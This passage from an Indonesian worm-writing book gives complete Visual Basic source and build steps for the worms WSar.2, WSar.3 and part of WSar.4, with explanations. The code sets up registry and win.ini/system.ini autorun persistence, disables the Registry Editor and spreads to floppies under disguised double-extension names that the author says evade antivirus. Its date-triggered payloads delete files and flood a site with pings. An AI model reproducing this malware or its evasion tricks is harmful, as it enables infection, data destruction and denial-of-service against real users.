Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) FileCopy(WormFile, sysfolder & "\" & "winfake.exe") RegString("HKLM\Software\Microsoft\Windows\CurrentVersio" & _ "n\Run\windll", sysfolder & "\" & "winfake.exe")End Sub
Private Sub InfectFloppy() On Error Resume Next If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End IfEnd Sub
Private Sub PayLoad() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*") MsgBox("WSar.2 Ada Pada Komputer Anda")End Sub
121Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
8. W
orm
WS
ar.2
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function
Berikut penjelasan tentang kode program:
'WSar.2 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit
Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End Call RegDisable() Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End IfEnd Sub
Call RegDisable berarti memanggil atau mengeksekusi procedure yang bernama RegDisable dan statement Call InfectSystem akan mengeksekusi procedure InfectSystem. Jika file utama berada pada drive A atau B maka segera akhiri proses file utama.
Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear() Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dir" & _ "imu.... ")End Sub
Statement Clipboard.Clear berfungsi untuk membersihkan data dari penyimpanan clipboard (clipboard berfungsi sebagai penyimpan sementara apabila user melakukan proses copy atau cut), kemudian statement berikutnya akan mengisi clipboard dengan data berupa teks " Ohhhh… rinduuuu… dimanakah dirimu…. " yang akan disisipkan jika user melakukan proses paste.
122Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 8. W
orm W
Sar.2
Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End IfEnd Sub
Procedure tmrWSar2_Timer, pada saat yang ditentukan akan mengek-sekusi procedure InfectFloppy, kemudian apabila tanggal dan bulan sekarang adalah 13 Oktober maka akan mengeksekusi procedure Pay-Load kemudian mengakhiri proses worm.
Function RegString(ByVal HiveAndKey As String, ByVal Value As _ String) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value)End Function
Function RegDword(ByVal HiveAndKey As String, ByVal Value As _ Integer) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value, "REG_DWORD")End Function
Dua function di atas adalah penggunaan Window Script Host yang akan mengakses registry untuk menambahkan key dan value. Function RegString digunakan untuk menambahkan key dan value dengan jenis value string biasa (REG_SZ) sedangkan function RegDword digu-nakan untuk menambahkan key dan value dengan jenis value dword (REG_DWORD)
Private Sub RegDisable() On Error Resume Next RegDword("HKCU\Software\Microsoft\Windows\Curr" & _ "entVersion\Policies\System\DisableRegistryTools", 1)End Sub
Procedure RegDisable mengeksekusi function RegDword dengan menambahkan key: "HKEY_CURRENT_USER\Soft ware\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools" dan mengisi value dengan nilai 1. Konfigurasi registry ini akan mengakibatkan user tidak dapat mengakses aplikasi Registry Editor.
123Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
8. W
orm
WS
ar.2
Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) FileCopy(WormFile, sysfolder & "\" & "winfake.exe") RegString("HKLM\Software\Microsoft\Windows\Curr" & _ "entVersion\Run\windll", sysfolder & "\" & "winfake.exe")End Sub
Procedure InfectSystem memanfaatkan file system object untuk mendapatkan special folder pada Windows. Dalam hal ini special folder 1 atau direktori System Windows, kemudian membuat salinan dirinya ke direktori System Windows tersebut dengan nama "winfake.exe". Selain itu procedure juga mengeksekusi function RegString dengan menambahkan key:
"HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\Run\windll" dengan value berupa gabungan alamat file pada direk-tori System Windows dan nama file dari salinan worm tersebut yaitu "winfake.exe". Key ini merupakan salah satu lokasi registry yang akan dieksekusi saat Windows startup.
Private Sub InfectFloppy() On Error Resume Next If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End IfEnd Sub
Procedure diatas akan membuat salinan worm pada drive A dengan nama "rindu.exe"
Private Sub PayLoad() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*") MsgBox("WSar.2 Ada Pada Komputer Anda")End Sub
124Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 8. W
orm W
Sar.2
Procedure PayLoad memanfaatkan file system object untuk mendapat-kan special folder 0 atau direktori Windows, special folder 1 atau direktori System Windows dan special folder 2 atau direktori Tempo-rary, kemudian menghapus seluruh file yang berekstensi 'tmp’ pada direktori Windows, seluruh file berekstensi 'bak’ pada direktori System Windows, dan seluruh file yang ada pada direktori Temporary.
Akhirnya worm akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda". Untuk procedure WormFile telah penulis jelaskan pada WSar.1 sehingga selanjutnya tidak perlu dijelaskan lagi. Terakhir simpan dan kompilasi project seperti pada langkah-langkah yang telah dijelaskan sebelumnya.
Catatan untuk WSar.2: berikut ini adalah lokasi key registry yang akan mengeksekusi setiap value didalamnya pada saat Windows startup:
User Key / HKCU
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run-Once]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunSer-vices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunSer-vicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Win-dows]
System Key / HKLM
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run-Once]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run-Services]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run-ServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT \CurrentVersion\Winlogon\Userinit]
125Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
9. W
orm
WS
ar.3
BAB 9WORM WSar.3
Worm ini bernama WSar.3 (worm dasar 3). Pada worm ini penulis menambahkan trik launcher methode dengan mema-nipulasi file konfigurasi Windows (win.ini) dan memanfaat-
kan array dalam pemberian nama file worm sehingga worm ini dapat membuat salinan dengan menggunakan nama yang beragam.
9.1 ALGORITMAWSar.3 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer
2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi file konfigurasi Windows 'win.ini’ untuk mengaktifkan worm setiap kali Windows startup
3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak
4. Dampak lain yang ditimbulkan adalah setiap 30 detik akan menem-patkan posisi kursor mouse berada di sudut kiri bagian atas pada layar monitor
126Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 9. W
orm W
Sar.3
5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.3 Ada Pada Komputer Anda", kemudian berusaha melakukan suatu serangan Denial Of Service (DOS) pada sebuah website fiktif dengan mengirimkan paket ping dalam jumlah besar.
9.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, pada tab Make, atur Application Title 'WSar.3’ dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK.
Tambahkan 2 buah object Timer, dan I buah Module, untuk module dapat dilakukan dengan cara meng-click Project pada menubar lalu memilih opsi Add Module. Kemudian atur properti berikut untuk masing-masing Timer, Form dan Module.
Properti object Form1
Jenis Nilai KeteranganName frmWSar3 Mengatur nama form menjadi frmWSar3
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.3 menggunakan icon msword.ico
ShowInTaskbar False Tidak menampilkan form pada taskbar
Visible False Tidak menampilkan form pada layar.
Properti object Timer1
Jenis Nilai KeteranganName tmrWSar3 Mengatur nama Timer menjadi tmrWSar3
Enable True Pastikan Timer akan aktif saat form di-load
Interval 60000 Setiap instruksi pada procedure Timer akan diek-sekusi setiap 1 menit
127Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
9. W
orm
WS
ar.3
Properti object Timer2
Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng
Enable True Pastikan Timer akan aktif saat form di-load
Interval 30000 Setiap instruksi pada procedure Timer akan diek-sekusi setiap 30 detik
Properti Module1
Jenis Nilai KeteranganName mdlFileIni Mengatur nama module menjadi mdlFileIni
Ketik kode program berikut ini pada object mdlFileIni:
Declare Function GetPrivateProfileString Lib "kernel32" Alias _ "GetPrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpDefault As String, _ ByVal lpReturnedString As String, ByVal nSize As Long, ByVal _ lpFileName As String) As Long
Declare Function WritePrivateProfileString Lib "kernel32" Alias _ "WritePrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpString As Any, _ ByVal lpFileName As String) As Long
Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _As String Dim sRet As String sRet = String(255, Chr(0)) ReadINI = Left(sRet, GetPrivateProfileString(Section, ByVal _ KeyName, "", sRet, Len(sRet), filename))End Function
Function writeini(ByVal sSection As String, ByVal sKeyName As String, _ByVal sNewString As String, ByVal sFileName) As Integer Dim r r = WritePrivateProfileString(sSection, sKeyName, sNewString, _ sFileName)End Function
128Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 9. W
orm W
Sar.3
Ketik kode program berikut ini pada object frmWSar3:
'WSar.3 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On
Private Declare Function SetCursorPos Lib "user32" (ByVal x As _ Long, ByVal Y As Long) As Long
Private Sub Form_Load() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End If ReadINI("WINDOWS", "Run", winfolder & "\" & "win.ini") <> _ MainFile Then Call InfectSystem() End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End IfEnd Sub
Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile) SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem) writeini("WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini")End Sub
129Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
9. W
orm
WS
ar.3
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*ku.doc .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End IfEnd Sub
Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1)End Sub
Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End IfEnd Sub
Private Sub PayLoad() On Error Resume Next Dim Target As String Dim pingmore As Integer MsgBox("WSar.3 Ada Pada Komputer Anda", vbExclamation) Target = "http://www.worm-maker.co.id" For pingmore = 1 To 1000 Shell("ping -a -l " & Target & " 65500") Next pingmoreEnd Sub
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function
130Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 9. W
orm W
Sar.3
Berikut penjelasan tentang kode program:
'WSar.3 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On
Private Declare Function SetCursorPos Lib "user32" _ (ByVal x As Long, ByVal Y As Long) As Long
Mendeklarasikan function SetCursorPos dari library user32. Statement ini adalah salah satu dari API Function. Function SetCursorPos ini berguna untuk mengatur posisi mouse pointer pada layar monitor.
Private Sub Form_Load() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End If ReadINI("WINDOWS", "Run", winfolder & "\" & _ "win.ini") <> MainFile Then Call InfectSystem() End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End IfEnd Sub
Seperti kode program worm sebelumnya, pada procedure ini worm berusaha mendapatkan direktori Windows, kemudian berusaha mendapatkan informasi apakah worm sudah ada atau tidak pada system.
Dalam hal ini worm memeriksa isi file konfigurasi win.ini pada section Windows dan pada key Run, apabila value tidak ditujukan pada file worm yang terletak pada direktori System Windows, maka worm akan memanggil procedure InfectSystem.
131Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
9. W
orm
WS
ar.3
Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile) SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem) writeini("WINDOWS", "Run", MainFile, winfolder & "\" _ & "win.ini")End Sub
Procedure ini berusaha mendapatkan direktori Windows dan direk-tori System Windows, kemudian membuat salinan file utama ke lokasi direktori System Windows dengan nama "winword.exe" kemudian mengatur atribut file tersebut menjadi Hidden, Read only dan System.
Worm kemudian memanipulasi file konfigurasi "win.ini" pada section Windows dan key Run, serta value diatur dengan path dan nama file worm yaitu "winword.exe".
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*ku.doc .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End IfEnd Sub
Procedure ini akan membuat data array sebanyak 10 yang akan di-gunakan sebagai nama file. Sedikit menggunakan social engineering, nama-nama file tersebut menggunakan ekstensi ganda yaitu '.doc .exe’.
132Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 9. W
orm W
Sar.3
Perhatikan bahwa ada spasi diantara dua ekstensi tersebut. Penulis menemukan beberapa antivirus yang akan mendeteksi file executable dengan ekstensi ganda sebagai suatu worm atau virus, namun setelah penulis menambahkan (satu atau lebih) tanda spasi diantara dua ekstensi tersebut ternyata antivirus-antivirus tersebut tidak mendetek-sinya lagi sebagai worm atau virus .
Umumnya pada Windows Explorer ekstensi file yang terdaftar pada file association tidak diperlihatkan sehingga teks ".doc" pada akhir nama file akan terlihat seolah-olah merupakan ekstensi untuk aplikasi MS Word.
Worm kemudian memeriksa disket dengan mencari file yang berakhiran "ku.doc .exe", apabila file worm tidak ditemukan maka worm akan membuat salinannya ke disket dengan salah satu nama file yang dipilih secara acak.
Satu hal yang mungkin akan terjadi adalah file worm disalin pada dis-ket sebanyak dua file yaitu "hehehe.doc .exe" dan sebuah file dengan nama acak lainnya. Hal ini terjadi karena file "hehehe.doc .exe" tidak memenuhi kriteria sebagai file yang berakhiran "ku.doc .exe".
Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1)End Sub
Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End IfEnd Sub
Procedure tmrIseng_Timer memanggil function SetCursorPos dengan nilai x = 1 dan y =1 yang berarti menempatkan posisi pointer mouse pada posisi pixel pertama pada layar. Pixel pertama bertempat di sudut kiri atas layar monitor.
133Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
9. W
orm
WS
ar.3
Private Sub PayLoad() On Error Resume Next Dim Target As String Dim pingmore As Integer MsgBox("WSar.3 Ada Pada Komputer Anda", _ vbExclamation) Target = "http://www.worm-maker.co.id" For pingmore = 1 To 1000 Shell("ping -a -l " & Target & " 65500") Next pingmoreEnd Sub
Selain menampilkan pesan, worm ini akan melakukan serangan Denial Of Service pada website www.worm-maker.co.id yang merupakan site fiktif.
Declare Function GetPrivateProfileString Lib "kernel32" _ Alias "GetPrivateProfileStringA" (ByVal _ lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpDefault As String, ByVal _ lpReturnedString As String, ByVal nSize As Long, _ ByVal lpFileName As String) As Long
Declare Function WritePrivateProfileString Lib "kernel32" _ Alias "WritePrivateProfileStringA" (ByVal _ lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpString As Any, ByVal lpFileName As _ String) As Long
Mendeklarasikan function API GetPrivateProfileString dan WritePrivateProfileString dari library "kernel32".
Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _ As String Dim sRet As StringsRet = String(255, Chr(0))ReadINI = Left(sRet, GetPrivateProfileString(Section, _ ByVal KeyName, "", sRet, Len(sRet), filename))End Function
Function writeini(ByVal sSection As String, ByVal sKeyName As _ String, ByVal sNewString As String, ByVal sFileName) As Integer Dim r r = WritePrivateProfileString(sSection, sKeyName, _ sNewString, sFileName)End Function
Kedua function tersebut, 'ReadINI’ dan 'writeini’ mengoto-matisasi penggunaan function API dari GetPrivateProfileString dan
134Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 9. W
orm W
Sar.3
WritePrivateProfileString, dengan tujuan agar dapat digunakan den-gan lebih mudah dan sederhana.
Catatan untuk WSar.3: berikut ini adalah lokasi file konfigurasi beserta section dan key yang akan mengeksekusi setiap value didalamnya pada saat Windows startup:
WIN.INI
Path Direktori Windows (0)Section WINDOWS
Key 1 Run
Key 2 Load
Value WormPath
Contoh yang bisa diaplikasikan pada WSar.3
writeini "WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini"writeini "WINDOWS", "Load", MainFile, winfolder & "\" & "win.ini"
SYSTEM.INI
Path Direktori Windows (0)Section BOOT
Key Shell
Value "Explorer.exe " & WormPath
Contoh yang bisa diaplikasikan pada WSar.3
writeini "BOOT", "Shell", "Explorer.exe " & MainFile, winfolder & "\" & "system.ini"
WININIT.INI
Path Direktori Windows (0)Section RENAME
Key Nul
Value WormPath
Contoh yang bisa diaplikasikan pada WSar.3
writeini "RENAME", "Nul", MainFile, winfolder & "\" & "wininit.ini"
135Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
10
Wor
m W
Sar
.4
BAB 10WORM WSar.4
Worm ini bernama WSar.4 (worm dasar 4), memiliki trik launcher yang hingga buku ini selesai ditulis belum pernah digunakan worm manapun. Dengan cara memanipulasi
registry, worm memindahkan direktori StartUp kesuatu lokasi tertentu dan membuat salinan dirinya pada direktori tersebut.
Saat Windows startup, setiap file yang ada termasuk file worm ikut tereksekusi tanpa user menyadari karena direktori StartUp default yang dapat terlihat pada Startmenu tidak akan menunjukan adanya perubahan atau pertambahan suatu file.
Worm ini sedikit lebih kreatif karena membuat nama file salinan dengan menyertakan nama user aktif dan banyak menggunakan function API.
10.1 ALGORITMAWSar.4 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer
2. Kemudian worm mengubah nilai suatu registry untuk memanipu-lasi lokasi direktori StartUp default ke suatu lokasi direktori tertentu lainnya. Kemudian worm akan melakukan reproduksi dengan men-ciptakan salinan dirinya pada direktori StartUp yang baru tersebut
136Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 10. W
orm W
Sar.4
3. Setiap 1 menit akan berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak
4. Dampak lain yang ditimbulkan adalah jika jam dan menit memiliki nilai yang sama maka secara otomatis system akan membuka dan menutup CD rom drive sebanyak 3 kali. Kesempatan terjadi adalah sekali setiap jamnya
5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.4 Ada Pada Komputer Anda", kemudian melakukan beberapa manipulasi yang bersifat tidak penting dan terkesan "pamer" tetapi hal ini sudah menjadi kebiasaan worm lokal di Indonesia, seperti mengubah nama user dan perusahaan terdaftar, mengubah volume label pada harddisk atau menampilkan pesan tertentu setiap kali Windows startup.
10.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.4’
Tambahkan 2 buah object Timer, 1 buah object TextBox dan 2 buah Module. Kemudian atur properti berikut untuk masing-masing Timer, TextBox, Form dan Module.
Properti object Form1
Jenis Nilai KeteranganName frmWSar4 Mengatur nama form menjadi frmWSar4
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.4 menggunakan icon jpgicon.ico
ShowInTaskbar False Tidak menampilkan form pada taskbar
Visible False Tidak menampilkan form pada layar.
BorderStyle None Tidak memberikan garis tepi pada form
ControlBox False Tidak menggunakan control box
137Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
10
Wor
m W
Sar
.4
Properti object Timer1
Jenis Nilai KeteranganName tmrWSar4 Mengatur nama Timer menjadi tmrWSar4
Enable True Pastikan Timer akan aktif saat form di-load
Interval 60000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
Properti object Timer2
Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng
Enable True Pastikan Timer akan aktif saat form di-load
Interval 60000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
Properti object Text1
Jenis Nilai KeteranganName txtName Mengatur nama TextBox menjadi txtName
Properti Module1
Jenis Nilai KeteranganName mdlNameLogon Mengatur nama module menjadi mdl-
NameLogon
Properti Module2
Jenis Nilai Keterangan
Name mdlRegistryAPI Mengatur nama module menjadi mdlRegistryAPI
138Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 10. W
orm W
Sar.4
Ketik kode program berikut ini pada module mdlNameLogon:
Declare Function GetUserName Lib "advapi32.dll" Alias _ "GetUserNameA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long
Function NameLogon() Dim s As String Dim cnt As Long Dim dl As Long Dim CurUser As String cnt = 199 s = String$(200, 0) dl = GetUserName(s, cnt) If dl <> 0 Then CurUser = Left$(s, cnt) Else : CurUser = "" NameLogon = CurUserEnd Function
Ketik kode program berikut ini pada module mdlRegistryAPI:
Type FILETIME lLowDateTime As Long lHighDateTime As LongEnd Type
Declare Function RegDeleteValue Lib "advapi32.dll" Alias _ "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName _ As String) As LongDeclare Function RegOpenKeyEx Lib "advapi32.dll" Alias _ "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal ulOptions As Long, ByVal samDesired As Long, _ByVal phkResult As Long) As LongDeclare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As _ Long) As LongDeclare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal phkResult As Long) As LongDeclare Function RegDeleteKey Lib "advapi32.dll" Alias _ "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String) As LongDeclare Function RegQueryValueEx Lib "advapi32.dll" Alias _ "RegQueryValueExA" (ByVal hKey As Long, ByVal _ lpValueName As String, ByVal lpReserved As Long, ByVal lpType As _ Long, ByVal lpData As String, ByVal lpcbData As Long) As LongDeclare Function RegQueryValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal _ lpReserved As Long, ByVal lpType As Long, ByRef lpData As Long, _ByVal lpcbData As Long) As LongDeclare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByVal lpData As String, ByVal cbData As Long) As Long
139Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
10
Wor
m W
Sar
.4
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal Reserved _ As Long, ByVal dwType As Long, ByRef lpData As Long, _ ByVal cbData As Long) As LongDeclare Function RegSetValueExB Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByRef lpData As Byte, ByVal cbData As Long) As LongPublic Declare Function RegReplaceKey Lib "advapi32.dll" Alias _ "RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal lpNewFile As String, ByVal lpOldFile As String) _ As Long
Const ERROR_SUCCESS = 0&Const ERROR_BADDB = 1009&Const ERROR_BADKEY = 1010&Const ERROR_CANTOPEN = 1011&Const ERROR_CANTREAD = 1012&Const ERROR_CANTWRITE = 1013&Const ERROR_OUTOFMEMORY = 14&Const ERROR_INVALID_PARAMETER = 87&Const ERROR_ACCESS_DENIED = 5&Const ERROR_NO_MORE_ITEMS = 259&Const ERROR_MORE_DATA = 234&
Const REG_NONE = 0&Const REG_SZ = 1&Const REG_EXPAND_SZ = 2&Const REG_BINARY = 3&Const REG_DWORD = 4&Const REG_DWORD_LITTLE_ENDIAN = 4&Const REG_DWORD_BIG_ENDIAN = 5&Const REG_LINK = 6&Const REG_MULTI_SZ = 7&Const REG_RESOURCE_LIST = 8&Const REG_FULL_RESOURCE_DESCRIPTOR = 9&Const REG_RESOURCE_REQUIREMENTS_LIST = 10&
Const KEY_QUERY_VALUE = &H1&Const KEY_SET_VALUE = &H2&Const KEY_CREATE_SUB_KEY = &H4&Const KEY_ENUMERATE_SUB_KEYS = &H8&Const KEY_NOTIFY = &H10&Const KEY_CREATE_LINK = &H20&Const READ_CONTROL = &H20000Const WRITE_DAC = &H40000Const WRITE_OWNER = &H80000Const SYNCHRONIZE = &H100000Const STANDARD_RIGHTS_REQUIRED = &HF0000Const STANDARD_RIGHTS_READ = READ_CONTROLConst STANDARD_RIGHTS_WRITE = READ_CONTROLConst STANDARD_RIGHTS_EXECUTE = READ_CONTROLConst KEY_READ = STANDARD_RIGHTS_READ Or _ KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS _ Or KEY_NOTIFYConst KEY_WRITE = STANDARD_RIGHTS_WRITE Or _ KEY_SET_VALUE Or KEY_CREATE_SUB_KEYConst KEY_EXECUTE = KEY_READ
140Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 10. W
orm W
Sar.4
Dim hKey As Long, MainKeyHandle As LongDim rtn As Long, lBuffer As Long, sBuffer As StringDim lBufferSize As LongDim lDataSize As LongDim ByteArray() As Byte
Const DisplayErrorMsg = False
